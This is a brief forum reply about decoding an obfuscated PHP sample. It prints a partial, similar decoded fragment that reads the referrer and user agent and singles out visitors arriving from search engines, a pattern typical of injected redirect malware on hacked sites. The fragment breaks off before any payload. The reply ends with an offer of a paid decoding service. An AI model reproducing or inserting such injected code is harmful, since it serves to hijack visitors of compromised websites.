Hi,
as you didn't post the whole string, it is not possible to decode your sample (you need to provide the $yemh from the beginning until you find the ";".
But here is a similar (but not the same) result to yours:
$qazplm=headers_sent(); if (!$qazplm){ $referer=$_SERVER['HTTP_REFERER']; $uag=$_SERVER['HTTP_USER_AGENT']; if ($uag) { if (!stristr($uag,"MSIE 7.0") and !stristr($uag,"MSIE 6.0")){ if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") ...
and it goes on.
When you hire me when send the full file, I will decode and give you a brief explanation of what it is doing.
best regards.